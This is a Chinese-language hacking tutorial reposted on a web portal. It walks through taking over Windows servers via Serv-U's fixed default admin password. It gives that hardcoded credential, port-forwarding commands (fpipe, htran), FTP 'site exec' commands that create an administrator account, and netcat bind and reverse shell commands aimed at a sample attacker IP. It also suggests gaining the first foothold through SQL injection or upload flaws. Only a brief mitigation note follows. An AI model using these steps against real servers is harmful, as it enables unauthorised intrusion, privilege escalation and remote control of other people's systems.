　　原理　　Serv-U默认监听127.0.0.1:43958，在本机才能连接这个管理端口，Serv-U默认管理账号是LocalAdministrator，默认密码是"#l@$ak#.lk;0@P"，这个密码是固定的。在目标机器上运行fpipe -v -l 12345 -r 43958 127.0.0.1，然后在你自己的机器，用"Serv-U administrator"新建SERVER：

　　目标IP：12345

　　User：LocalAdministrator

　　Pass："#l@$ak#.lk;0@P"

　　那么目标机器的Serv-U就归你管了。

　　利用的前提：要有目标机器的普通权限的SHELL，不需要能终端或物理控制台登录，只要有个shell，能运行端口数据转发的程序就可以了。

　　如何得到一个shell:sql注射得到Webshell或者直接利用动网7.0 sp2以下的上传漏洞上传Webshell。

　　具体实施方法

　　1.利用得到的Webshell上传转向程序fpipe，然后执行fpipe -v -l 12345 -r 43958 127.0.0.1。

　　2 .在你自己的机器，用"Serv-U administrator"新建SERVER，依次填入：

　　IP：目标IP

　　端口：12345

　　User：LocalAdministrator

　　Pass："#l@$ak#.lk;0@P"

　　现在你就可以管理这台服务器的Serv-U了，新建一个账号，权限为系统管理员(system administrator)，并在"目录访问(Dir access)"选项中给予"执行"权限(execute).

　　3.ftp连接，然后执行quote site exec net user iisuser password /add 添加一个用户名为iisuser密码为password的用户，加到管理员组 quote site exec net localgroup administrators iisuser /add，现在就可以连接终端并登录了。　

　　当然也可以进行别的操作，例如上传一个nc.exe，在目标机器上得到一个管理员权限的shell，可以正向连接，也可以反向连接。　

　　正向连接：连上ftp以后执行

　　quote site exec nc.exe -l -p 23 -t -e cmd.exe

　　这时目标主机就成了一台telnet服务器，你可以telnet上目标服务器的23端口。　　

　　反向连接：假设你的IP是202.96.209.168。

　　1.先在自己的机器上运行(你要有一个外部IP)：nc -vv -lp 99

　　2.在目标机器上运行 nc -e cmd.exe 202.96.209.168　 99

　　在你的机器上就会得到一个目标机器的具有管理员权限的shell。

　　如果对方进行了端口过滤或者设置了防火墙的保护(这种保护不限制反弹连接，如果限制的话就要换别的方法呢)，可以用TCP SOCKET转发来实现。

　　打个比方：

　　我的机器为 A

　　我要测试的机器为 B[不允许正面连接]

　　我已经在B上得到呢一个SHELL[只要guest的就行]

　　我们可以这样连上对方的43958

　　I：我在本地监听二个端口23和56

　　23是等待B来连接的。

　　56是等待我来连接的。

　　II：B连接我监听的23，同时转发到本地的43958。

　　这样管道就建好，对方的防火墙就拿我们没有办法。

　　此时在本地运行Serv-U新建一个SERVER，IP填上本地的127.0.0.1端口为56，用户名LocalAdministrator，密码#l@$ak#.lk;0@P。

　　具体实施方法

　　假设你的IP是 202.96.209.168

　　1.在你自己的机器上运行 htran.exe -listen 23 56。　

　　2.此时在本地运行Serv-U新建一个SERVER，IP填上本地的127.0.0.1端口为56，用户名LocalAdministrator，密码#l@$ak#.lk;0@P。　

　　3。在目标机器上运行 htran.exe -slave 127.0.0.1 43958 202.96.209.168 23。

　　如果不能在Webshell下直接运行，可以写一个asp脚本来执行，内容如下

　　connect.asp

　　执行http://目标网址/connect.asp，如果出来一片空白，没提示什么错误，现在你应该可以管理目标服务器的Serv-U了。余下的事情就看您自由发挥了。

　　防止方法

　　自己给Serv-U打补丁，改变默认端口及管理密码。改密码要修改ServUAdmin.exe、ServUDaemon.exe这两个文件，改端口只要在ServUDaemon.ini文件[GLOBAL]选项中加入LocalSetupPortNo=12345即可。

　　很遗憾，在Serv-U的最新版本Serv-U 5.2.0.0中依然没有任何改变，默认的管理端口及密码还是原来的。

[1] [2] 下一页

上一篇:瑞星杀毒软件2008网络版新品发布

下一篇:Photoshop打造章子怡立体水晶相框

利用Serv-U缺陷提升Webshell权限相关文章：

·Windows无法访问指定设备,路径或文件.您可能没有合适的权限访问这个项目

·局域网内共享文件提示没有访问权限的问题

·利用腾讯漏洞取回QQ密码

·Linux文件和目录访问权限设置

·Vista中启用Administrator超级管理员权限

·在 C++ Builder中利用串行通信控件编程

·利用Google突破封锁:下载想要的东西

·利用word将PDF转换DOC文件的方法

·利用 wordXP 实现自动排班

·快速利用135端口入侵个人电脑

利用Serv-U缺陷提升Webshell权限相关软件：

·利用IE修复专家突破网吧的多重限制

·public也能拿到webshell及系统权限

·用ECHO做WEBSHELL

·极易缺陷管理系统

·意志力训练：用哈德克训练法则提升个人意志力

·道德缺陷

·动感下载的上传漏洞+提升权限

·WebServU FTP Web 管理系统 V1.0

·代理跳板的简单制作与利用

·NIX肉鸡权限提升及密码破解

特别声明：本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载，但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站，我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员，我们尽快予以更正。
[打印本页] [关闭窗口] 转载请注明来源：http://www.vipcn.com

	\| 帮助(？) \| 版权声明 \| 友情连接 \| 关于我们 \| 信息发布
Copyright 2007 www.vipcn.com All Rights Reserved.	鄂ICP备05000083号Powered by:vipcn